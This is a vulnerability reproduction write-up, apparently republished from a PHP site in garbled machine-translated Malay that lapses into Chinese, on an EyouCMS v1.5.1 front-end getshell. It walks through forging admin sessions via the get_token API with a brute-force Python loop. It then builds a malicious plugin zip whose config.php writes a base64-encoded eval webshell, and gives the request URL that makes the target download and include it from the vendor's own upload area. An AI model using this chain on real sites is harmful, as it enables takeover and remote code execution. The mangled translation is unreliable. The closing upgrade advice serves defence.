Zanzan Network Technology EyouCMS (EyouCMS) ialah satu set pengurusan kandungan sumber terbuka berdasarkan ThinkPHP of China Zanzan Network Technology Company System ( CMS).
Eyoucms v1.5.1 dan versi terdahulu mempunyai log masuk latar belakang pengguna yang sewenang-wenangnya dan kerentanan kemasukan fail Kerentanan ini membolehkan penyerang menetapkan sesi pentadbir di latar depan dengan memanggil API dan fail muat turun pemalam jauh latar belakang. mengandungi getshell.
EyouCMS <= 1.5.1
Muat turun
Rasmi laman web Muat turun versi V1.5.1
Pautan muat turun: https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip
Pemasangan
Pengaturan mudah melalui persekitaran bersepadu phpstudy
Sesi pentadbir bahagian hadapan ditetapkan dalam application/api/controller/Ajax.php:215
get_token
fungsi boleh dipanggil sesuka hati oleh kaunter penerimaan tetamu Selain itu,
$name
pembolehubah dalam parameter formal juga dihantar melalui http. Ikuti fungsi token, seperti yang ditunjukkan dalam rajah di bawah.
Terdapat operasi untuk menetapkan sesi dalam serlahan Nama boleh dikawal dan nilainya ialah nilai cap waktu permintaan md5. Tak terkawal.
Anda boleh cuba membina sesi untuk pentadbir latar belakang melalui operasi tetapan sesi ini. Kemudian kami menyusun logik log masuk pentadbir latar belakang. Dalam application/admin/controller/Base.php:54
terdapat dua sesi yang terlibat, satu admin_login_expire dan satu admin_id
if (session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime)
admin_login_expire
( Ini sesi akan melakukan pengesahan penolakan, yang perlu memenuhi syarat tertentu)
admin_id
(Sesi ini sudah cukup, dan nilainya tidak akan disahkan)
Selepas menetapkan kedua-dua Selepas ini satu sesi, kami terus melihat bahawa terdapat satu lagi fungsi
check_priv
dalam penghakiman syarat if dan semak:
if (0 >= intval(session('admin_info.role_id')))<p><code>admin_info.role_id</code></p>(Ia sudah memadai jika kurang daripada atau sama dengan 0)<p>Selepas menyediakan tiga sesi, anda boleh memasuki bahagian belakang, seperti yang ditunjukkan dalam rajah: <br><br><img src="https://img.php.cn/upload/article/000/000/164/168458488378613.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>Muat turun pemalam Backend Remote getshell lulus dalam $url di application/admin/controller/Weapp.php:1235<p><img src="https://img.php.cn/upload/article/000/000/164/168458488330190.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>, dan kemudian melakukan penghuraian url dan hos mestilah eyeucms.com. <p>Iaitu, program ini dihadkan untuk memuat turun dan memasang pemalam daripada tapak web rasmi, tetapi pengesahan ini terlalu mudah dan boleh dipintas. <br>Kemudian langkah seterusnya ialah meminta pautan muat turun ini, nyahmampatnya dan sertakan config.php. <br><br><img src="https://img.php.cn/upload/article/000/000/164/168458488375781.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>Pertimbangan standard pemalam yang dibuat kemudian tidak akan berfungsi lagi. <p></p> <h3>Eksploitasi Kerentanan 0x04<strong></strong> </h3>Tetapkan sesi pentadbir di meja depan<p>Mula-mula kita boleh mengeluarkan sesi pentadbir selepas berjaya log masuk dan sesi pengguna biasa yang telah belum dilog masuk Sebagai perbandingan <br> Pentadbir: <br><br><img src="https://img.php.cn/upload/article/000/000/164/168458488457115.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p> Pengguna biasa: <p><br><img src="https://img.php.cn/upload/article/000/000/164/168458488418027.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>Panggil fungsi get_token untuk menetapkan sesi bernama admin_login_expire<p><br> <img src="https://img.php.cn/upload/article/000/000/164/168458488498951.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>Semak sesi pengguna biasa<p><br><img src="https://img.php.cn/upload/article/000/000/164/168458488422879.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p> telah berjaya disediakan. <p>Begitu juga kita boleh menambah admin_id dan admin_info.roke_id. <br><br>Tetapi <strong> rentetan md5 ini jelas tidak memenuhi keperluan dalam analisis kerentanan, jadi sesi sentiasa disegarkan melalui skrip sehingga nilai md5 yang sesuai ditemui </strong></p> <pre class="brush:php;toolbar:false">while 1 : admin_login_expire = api_psot("admin_login_expire") num_10 = admin_login_expire[2:12] if is_number(num_10): print("admin_login_expire=",num_10) break while 1 : role_id = api_psot("admin_info.role_id") num_1 = role_id[2:3] if num_1 in ["a","b","c","d","e","f"]: print("role_id=",num_1) break admin_id = api_psot("admin_id") print("admin_id=",admin_id[2:-1])
session:
再经过application/admin/controller/Base.php:58和:106的intval()的转换:
成功使用该PHPSESSID进入后台:
后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:
weappp\weapp\test\config.php
config.php
文件内容为写入webshell
<?php file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4=")); ?>
压缩成weappp.zip,修改后缀为jpg
到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
此时webshell已成功写入:
访问webshell:
升级EyouCMS至V1.5.2或以后版本。
Atas ialah kandungan terperinci Cara menghasilkan semula kerentanan getshell bahagian hadapan EyouCMS V1.5.1. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!